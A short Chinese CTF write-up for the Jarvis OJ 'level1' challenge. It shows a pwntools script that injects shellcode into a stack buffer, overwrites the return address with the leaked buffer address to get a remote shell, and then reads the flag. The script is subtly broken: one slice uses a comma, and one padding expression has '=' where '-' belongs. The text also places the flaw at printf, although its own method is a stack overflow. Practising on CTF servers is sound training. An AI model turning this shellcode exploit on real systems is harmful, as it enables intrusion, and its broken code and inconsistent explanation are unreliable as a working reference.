https://www.jarvisoj.com/challenges
拿到程序后先file可知为32位和动态链接
file level1
然后checksec检查保护机制
checksec level1
拖入ida查看,在vulnerable_function()函数的printf()处存在注入点
栈结构:
低地址→高地址
buf→ebp→eip(返回地址)
思路:没有system函数,在buf插入一段shellcode,将返回地址覆盖为shellcode的地址
level1.py如下:
from pwn import *
io=remote('pwn2.jarvisoj.com',9877)
shellcode=asm(shellcraft.sh())
p=io.recvline()
shell_add=int(p[14,-2],16)
payload=shellcode+'a'*(0x88+0x4=len(shellcode))+p32(shell_add)
io.send(payload)
io.interactive()
io.close()
执行level1.py
python level1.py
ls
cat flag